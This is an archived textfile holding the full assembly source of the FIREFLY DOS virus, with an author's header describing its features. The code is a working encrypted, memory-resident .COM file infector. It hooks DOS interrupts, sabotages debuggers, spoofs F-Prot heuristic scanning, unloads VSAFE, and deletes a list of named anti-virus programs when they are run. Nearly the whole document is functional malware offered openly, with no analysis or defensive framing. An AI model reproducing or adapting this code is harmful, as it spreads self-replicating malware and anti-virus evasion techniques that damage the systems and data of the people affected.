textfiles/virus/firefly.txt

517 lines
19 KiB
Plaintext

;FIREFLY virus, by Nikademus.
;
;Firefly is an encrypted, memory resident virus which infects
;.COMfiles on load. It incorporates code from Proto-T,
;LokJaw and YB-X viruses and, when in memory, attacks a large selection
;of anti-virus programs as they are executed. Anti-virus programs
;identified by Firefly's execute/load handler are deleted.
;Firefly incorporates simple code from previous issues of the newsletter
;designed to de-install generic VSAFE resident virus activity
;filters designed for Microsoft by Central Point Software. It
;contains instructions - specifically a segment of pseudo-nested
;loops - which spoof F-Protect's expert system generic virus
;identification feature.
;
;FIREFLY also includes a visual marker tied to the system timer
;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
;and ScrollLock LEDs on the keyboard. This produces a noticeable
;twinkling effect when the virus is active on a machine.
;
;Anti-anti-virus measures used by Firefly vary in effectiveness
;dependent upon how a user employs software. For example, while
;Firefly is designed to delete the Victor Charlie anti-virus
;shell, VC.EXE, a user who employs the software packages utilities
;for generic virus detection singly, will not be interfered with
;by the virus. Your results may vary, but the virus does effectively
;delete anti-virus programs while in memory unless steps are taken
;beforehand to avoid this.
;
;Firefly incorporates minor code armoring techniques designed to thwart
;trivial debugging.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - start
vir_len equ len / 16d ; 16 bytes per paragraph
encryptlength equ (last - begin)/4+1
start:
mov bx, offset begin ; The Encryption Head
mov cx, encryptlength ;
encryption_loop: ;
db 81h ; XOR WORD PTR [BX], ????h
db 37h ;
encryption_value_1: ;
dw 0000h ;
;
db 81h ; XOR WORD PTR [BX+2], ????h
db 77h ;
db 02h ; 2 different random words
encryption_value_2: ; give 32-bit encryption
dw 0000h ;
add bx, 4 ;
loop encryption_loop ;
begin:
jmp virus
db '[Firefly] By Nikademus $'
db 'Greetings to Urnst Kouch and the CRYPT staff. $'
virus:
call bp_fixup ; bp fixup to determine
bp_fixup: ; locations of data
pop bp ; with respect to the new
sub bp, offset bp_fixup ; host
Is_I_runnin:
call screw_fprot ; screwing
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
push ds
push es
mov ax,2C2Ch ;
int 21h ; call to see if runnin
cmp ax, 0FFFh ; am i resident?
jne cut_hole ;
fix_victim:
pop es ; replace victims 3 bytes
pop ds ;
mov di,050h ; stops one of SCAN's
add di,0B0h ; generic scan attempts
lea si, ds:[vict_head + bp] ; (scan only worked on
mov cx, 03h ; unencrypted copies
rep movsb ; regardless)
Bye_Bye:
mov bx, 100h ; jump to 100h
jmp bx ; (start of victim)
cut_hole:
mov dx, 5945h ; pull CPAV (MSAV)
mov ax, 64001d ; out of memory
int 16h ; (This also screws with
; TBCLEAN ???????)
call screw_fprot ; more screwing of
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
mov bx,cs ; reduce memory size
dec bx ;
mov ds,bx ;
cmp byte ptr ds:[0000],5a ;
jne fix_victim ;
mov bx,ds:[0003] ;
sub bx, 100h ; # of 16byte paragraphs
mov ds:0003,bx ; to grab (4k)
Zopy_me:
xchg bx, ax ; copy self to the new
mov bx, es ; 'unused' part of memory
add bx, ax ;
mov es, bx ;
mov cx,len ;
mov ax,ds ;
inc ax ;
mov ds,ax ;
lea si,ds:[offset start+bp] ;
lea di,es:0100 ;
rep movsb ;
Hookroutines: ; interrupt manipulation (Happy!, Happy!)
xor ax, ax ; (Joy!, Joy!)
mov ds, ax
push ds ; push 0000h
lds ax, ds:[1Ch*4]
mov word ptr es:old_1Ch, ax ; save 1C
mov word ptr es:old_1Ch+2, ds
pop ds
push ds
lds ax, ds:[21h*4] ; get int 21h
mov word ptr es:old_21h, ax ; save 21
mov word ptr es:old_21h+2, ds
mov bx, ds ; bx = ds
pop ds
mov word ptr ds:[1h*4], ax ; put int 21h into 1 and 3
mov word ptr ds:[1h*4+2], bx ; this should screw
mov word ptr ds:[3h*4], ax ; most debuggers
mov word ptr ds:[3h*4+2], bx
mov word ptr ds:[21h*4], offset Firefly ; put self in 21
mov ds:[21h*4+2], es ;
mov ds:[1Ch*4+2], es
mov word ptr ds:[1Ch*4], offset Lights ; hook 1C
jmp fix_victim
Lights: ; keyboard lights changer...
; found in NIKTRKS1.ZIP
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
push cs
pop ds
push cs
pop es
cmp [click], 63d ; after 63 clicks
je one
cmp [click], 126d ; after 126 clicks
je two
cmp [click], 189d ; after 189 clicks
je three
cmp [click], 0ffh ; have we counted to 255?
je clear
inc [click] ; increase click count
jmp endme
clear: mov [click], 00h ; clear click count
mov ax, 40h
mov ds, ax
mov bx, 17h ; ds:bx = location o' flags
and byte ptr [bx],0 ; clear keyboard flag(s)
jmp endme
one: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],20h ; set numlock flag
jmp endme
two: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],40h ; set caps lock flag
jmp endme
three: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],10h ; set scroll lock flag
endme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_1Ch] ; Go to old int 1Ch
db 'Psalm 69'
screw_fprot:
jmp $ + 2 ; Nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ;
ret ;
screw2: ;
jmp $ + 2 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
ret ;
screw3: ;
jmp $ + 2 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
ret ;
screw4: ;
jmp $ + 2 ;
ret ;
db 'Every day is Halloween'
Firefly:
pushf ; Am I checking if
cmp ax,2c2ch ; I am resident?
jne My_21h ;
mov ax,0FFFh ; If so, return
popf ; 0FFFh in AX
iret ;
My_21h:
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
check_for_proper_calls:
cmp ah, 4Bh ; executed?
je chk_com
cmp ah, 3Dh ; open?
je chk_com
cmp ah, 43h ; attribs?
je chk_com
cmp ah, 6Ch ; extended open?
je extended
notforme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[old_21h] ; The End
db 'Happiness in Slavery'
extended:
mov dx, si ; now a normal open
chk_com:
mov word ptr cs:victim_name,dx
mov word ptr cs:victim_name+2,ds
cld
mov di,dx
push ds
pop es
mov al,'.' ; find the period
repne scasb ;
call avtest
cmp ax, 00ffh ; WAS the program an AV?
je notforme
cmp word ptr es:[di],'OC' ; is i a .(CO)M?
jne notforme
Grab_24: ; hook interrupt 24
push ds ; by direct writes to
push dx ; interrupt vector
xor ax, ax ; table
mov ds, ax ;
mov dx, offset new_24h ;
mov word ptr ds:[24h*4], dx ;
mov word ptr ds:[24h*4+2], es ;
pop dx
pop ds
open_victim:
push cs
pop es
lds dx, cs:victim_name ; get and save attributes
mov ax, 4300h ;
int 3h ;
jc notforme ; error handler
push cx ;
push ds ;
push dx
mov ax, 4301h ; clear attribs
xor cx, cx ;
int 1h ;
jc notforme
mov ax,3D02h ; open victim
lds dx, cs:victim_name ;
int 3h ;
jc notforme ; error handler
push cs ;
pop ds ;
xchg ax, bx ; put handle in proper place
get_date: ; get and save date
; and time
mov ax,5700h
int 3h
push cx ; save time
push dx ; save date
check_forme:
mov ah,3fh ; read 1st 3 bytes
mov cx,03h ;
mov dx,offset vict_head ;
int 1h
mov ax, 4202h ; point to end
xor cx, cx ;
xor dx, dx ;
int 3h ;
mov cx, word ptr [vict_head+1] ; possible jump location
add cx, last-start+3 ;
cmp ax, cx ; already infected?
jz save_date ;
push ax
get_random:
mov ah, 2Ch ; dx and (cx-dx)
int 3h ; will be to two
or dx, dx ; encryption values
jz get_random ;
write_virus:
mov word ptr [offset encryption_value_1], dx
mov word ptr [offset e_value_1], dx
sub cx, dx
mov word ptr [offset encryption_value_2], cx
mov word ptr [offset e_value_2], cx
pop ax
mov si, ax ; fix BX offset in head
add si, ((offset begin-offset start)+100h)
mov word ptr [offset start+1], si
mov si, offset start ; copy virus to buffer
mov di, offset encryptbuffer ;
mov cx, last-start ;
rep movsb ;
sub ax, 03h ; construct jump
mov word ptr [offset new_jump+1], ax ;
mov dl, 0E9h ;
mov byte ptr [offset new_jump], dl ;
Encryptvirus_in_buffer:
push bx ; encrypt copy
mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-
mov cx, encryptlength ; buffer
e_loop: ;
db 81h ; XOR [bx]
db 37h ;
e_value_1: ;
dw 0000h ; scrambler #1
db 81h ; XOR [bx+2]
db 77h ;
db 02h ;
e_value_2: ;
dw 0000h ; scrambler #2
add bx, 4 ;
loop e_loop ; loop
pop bx
mov ah, 40h ; write virus
mov cx, last-start ;
mov dx, offset encryptbuffer ;
int 1h ;
mov ax, 4200h ; point to front
xor cx, cx ;
xor dx, dx ;
int 1h ;
mov ah, 40h ; write jump
mov dx, offset new_jump ;
mov cx, 03h ;
int 3h ;
save_date:
pop dx ; Date
pop cx ; Time
mov ax,5701h ;
int 1h
;
close_file: ;
mov ah,03Eh ; Close file and restore
int 3h ; attribs
mov ax, 4301h ;
pop dx ;
pop ds ; This is the end...
pop cx ; My only friend, The End.
int 3h ; - Jim Morrison
jmp notforme ;
new_24h:
mov al,3 ; Critical Error (Mis)handler
iret ;
db 'The land of Rape and Honey'
; This area is the "intelligence" of Firefly
; It looks for known AV names which it then deletes.
; So it sort of shuts down the computers "immune system"
avtest:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je AV ;*IM
cmp word ptr es:[di-3],'XR' ;*rx
je AV ;
cmp word ptr es:[di-3],'PO' ;*STOP
jne next1 ;(VIRSTOP)
cmp word ptr es:[di-5],'TS' ;
je AV ;
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
je AV_Detected ;(TBAV) (MSAV)
cmp word ptr es:[di-3],'TO' ;*prot f-prot
jne next2 ;
cmp word ptr es:[di-5],'RP' ;
jne next2 ;
AV: jmp AV_Detected ; must be equal
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
jne next3 ;(TBSCAN)
cmp word ptr es:[di-5],'CS' ;
je AV_Detected ;
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
jne next3 ; why not eh?
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
je AV_Detected ;
next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie
je AV_Detected ; default *VC
cmp word ptr es:[di-3],'KC' ; VCHECK
jne next4 ; (Victor Charlie)
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
je AV_Detected ;
next4:
cmp word ptr es:[di-3],'ME' ; TBMEM
jne next5 ; *BMEM
cmp word ptr es:[di-5],'MB' ;
je AV_Detected ;
next5:
cmp word ptr es:[di-3],'XN' ; TBSCANX
jne next6 ; *CANX
cmp word ptr es:[di-5],'AC' ;
je AV_Detected ;
next6:
cmp word ptr es:[di-3],'EL' ; TBFILE
jne next7 ; *FILE
cmp word ptr es:[di-5],'IF' ;
je AV_Detected ;
next7:
ret
AV_Detected:
mov ds, word ptr cs:[victim_name + 2] ; The Victim
mov dx, word ptr cs:[victim_name]
mov ax, 4301h ; Clear it's attribs
mov cx, 00h ;
int 1h
mov ah, 41h ; Delete It.
int 3h ;
ret ;
db 'Its Dead Jim'
vict_head db 090h, 0cdh, 020h ; 3 bytes of storage
old_21h dw 00h,00h ; int 21 storage
old_1Ch dw 00h,00h
click db 00h
last:
; The heap........ junk not needed in main program
victim_name dd ?
new_jump db 090h, 090h, 090h
encryptbuffer db (last-start)+1 dup (?)
code ends
end start